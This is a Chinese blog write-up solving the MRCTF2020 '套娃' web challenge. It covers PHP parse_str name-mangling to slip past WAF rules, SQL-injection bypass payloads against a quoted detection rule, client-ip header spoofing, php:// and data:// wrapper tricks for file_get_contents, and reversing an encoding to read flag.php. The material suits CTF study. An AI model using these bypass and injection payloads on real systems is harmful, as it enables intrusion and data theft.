• [MRCTF2020]套娃 GET POST 读取字符串特性 伪造ip 伪协议伪造 file_get_contents()


    知识点

    利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

     我们通过 GET POST 传递参数是将字符串作为数组传递

    那么传递了参数 做了什么操作

    这里是通过 parse_str 来处理的

    这里能发现 就是进行了两个操作

    1. 删除空白符
    2. 将有一些特殊符号转变为下划线

    运用这里我们就可以绕过许多的waf 或者拦截

    1. alert http any any -> $HOME_NET any (\
    2. msg: "Block SQLi"; flow:established,to_server;\
    3. content: "POST"; http_method;\
    4. pcre: "/news_id=[^0-9]+/Pi";\
    5. sid:1234567;\
    6. )

    例如上面存在这个规则 过滤了 news_id

    我们要如何实现绕过呢, 下面这些方法都可以实现

    1. news[id=1'+and+1=1#
    2. news%5bid=1'+and+1=1# 这里的 %5b就是 [
    3. news_id%00=1'+and+1=1# 通过00截断来实现绕过
    1. {chr}foo_bar -> 20 ( )
    2. {chr}foo_bar -> 26 (&)
    3. {chr}foo_bar -> 2b (+)
    4. foo{chr}bar -> 20 ( )
    5. foo{chr}bar -> 2b (+)
    6. foo{chr}bar -> 2e (.)
    7. foo{chr}bar -> 5b ([)
    8. foo{chr}bar -> 5f (_)
    9. foo_bar{chr} -> 00 ()
    10. foo_bar{chr} -> 26 (&)
    11. foo_bar{chr} -> 3d (=)

     这里面就显示了 我们 在每个位置可以 选择绕过的 字符

    做题

    首先可以通过查看源代码获得提示

    1. <!--
    2. //1st
    3. $query = $_SERVER['QUERY_STRING'];
    4. if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    5. die('Y0u are So cutE!');
    6. }
    7. if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    8. echo "you are going to the next ~";
    9. }
    10. !-->

    然后我们需要绕过 第一个判断个数 又要过第二个正则 正则使用 %0A 即可

    因为不会匹配第二行  但是 get又会删除第二行

    第一个我们如何绕过呢 使用上面的表来桡过

    所以payload就是

    ?b.u.p.t=23333%0A

    出现了新的提示

    我们去访问一下这个php

    看看源代码 晕了 才知道这个 fuckjs 代码 看别人wp

    放到控制台运行

    我们就post 一下

    1. Flag is here~But how to get it? <?php
    2. error_reporting(0);
    3. include 'takeip.php';
    4. ini_set('open_basedir','.');
    5. include 'flag.php';
    6. if(isset($_POST['Merak'])){
    7. highlight_file(__FILE__);
    8. die();
    9. }
    10. function change($v){
    11. $v = base64_decode($v);
    12. $re = '';
    13. for($i=0;$i<strlen($v);$i++){
    14. $re .= chr ( ord ($v[$i]) + $i*2 );
    15. }
    16. return $re;
    17. }
    18. 这里是通过循环 可能是改变东西 不着急 到时候看看
    19. echo 'Local access only!'."
      "
      ;
    20. $ip = getIp();
    21. 这里需要伪造本地ip访问
    22. 通过 client-ip:127.0.0.1
    23. if($ip!='127.0.0.1')
    24. echo "Sorry,you don't have permission! Your ip is :".$ip;
    25. if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    26. 这里需要本地ip 并且通过get2333打开文件 里面内容为 todat is a happy day
    27. echo "Your REQUEST is:".change($_GET['file']);
    28. echo file_get_contents(change($_GET['file'])); }
    29. 这里显然是需要通过 change来获得 flag.php 高亮
    30. ?>
    31. 代码审计一下

     这里主要就是伪造ip  client-ip:127.0.0.1

    其次就是通过 fie_get_content读取

    这里又两个方式

    读取方法一

    1. ?2333=php://input
    2. POST内容中
    3. todat is a happy day

    方法二

    1. 通过 data伪协议
    2. ?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

    这两个方法都可以

    选择就是如何绕过 change 输出flag  就要开始逆向了

    1. function change($v){
    2. $v = base64_decode($v);
    3. $re = '';
    4. for($i=0;$i<strlen($v);$i++){
    5. $re .= chr ( ord ($v[$i]) + $i*2 );
    6. }
    7. return $re;
    8. }
    9. 首先通过 base64解密 然后对内容进行 +
    10. 我们逆向就先对内容进行 - 然后 base64加密即可
    11. function change($v){
    12. $re = '';
    13. for($i=0;$i<strlen($v);$i++){
    14. $re .= chr ( ord ($v[$i]) - $i*2 );
    15. }
    16. return base64_encode($re);
    17. }
    18. echo change("flag.php");

    获得了 flag.php的加密

    ZmpdYSZmXGI=

    我们现在传递参数即可

    1. ?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
    2. 请求头
    3. client-ip:127.0.0.1

    或者

    1. ?2333=php://input&file=ZmpdYSZmXGI=
    2. POST
    3. todat is a happy day
    4. 请求头
    5. client-ip:127.0.0.1

    这里就得出来 flag

    确实和题目中的一样 套中套啊

  • 相关阅读:
    Stable Diffusion - 配置 WebUI 升级至 v1.6.0 版本与 VirtualENV 环境配置
    【数据库】事务与并发控制
    100天精通Python——第39天:操作MySQL和SqlServer
    C++ —— 继承
    MySQL中explain各字段详解及举例
    使用PyTorch加载数据集:简单指南
    5G消息发展的前景与挑战
    Python基础教程:索引和切片
    Adobe砸200亿添全家桶新成员,Figma后来居上!
    swagger 依赖及应用
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/133322515